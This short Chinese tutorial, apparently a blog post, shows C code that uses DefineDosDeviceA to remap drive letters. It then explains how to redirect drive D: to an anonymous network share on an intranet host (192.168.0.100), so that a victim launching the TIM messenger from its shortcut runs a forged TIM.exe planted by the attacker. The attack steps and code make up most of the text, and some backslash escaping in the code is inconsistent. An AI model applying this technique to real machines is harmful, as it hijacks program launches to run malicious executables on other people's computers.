首先来Windows下编译运行下面这一段代码
#include "windows.h"
#include<stdio.h>
int main()
{
BOOL ret;
ret=DefineDosDeviceA(DDD_RAW_TARGET_PATH,"P:","\\GLOBAL??\\C:\\Windows");
//ret=DefineDosDeviceA(DDD_REMOVE_DEFINITION,"P:",NULL);
printf("%d",ret);
return 0;
}
运行完毕以后输出1运行成功,可以看到我的电脑里面多了一个磁盘驱动器P
打开驱动器P直接进入了C:\Windows目录下,说明磁盘映射成功
接下来可以发挥一下你的想象力
以TIM QQ为例TIM路径为D:\Program Files (x86)\Tencent\TIM\Bin
在内网搭建一个共享文件夹路径为Program Files (x86)\Tencent\TIM\Bin
让内网计算机可以匿名访问,并且覆盖原有的磁盘名称D,这里我的主机IP是192.168.0.100
DefineDosDevice(DDD_RAW_TARGET_PATH,"D:","\\\\192.168.0.100\\Program Files (x86)\Tencent\TIM\Bin")
接下来编译代码,当远程主机执行快捷方式打开TIM的时候,就会被虚拟磁盘驱动器重定向到\\\\192.168.0.100\\Program Files (x86)\\Tencent\\TIM\\Bin
执行你的伪造的TIM.exe文件,达到攻击目的。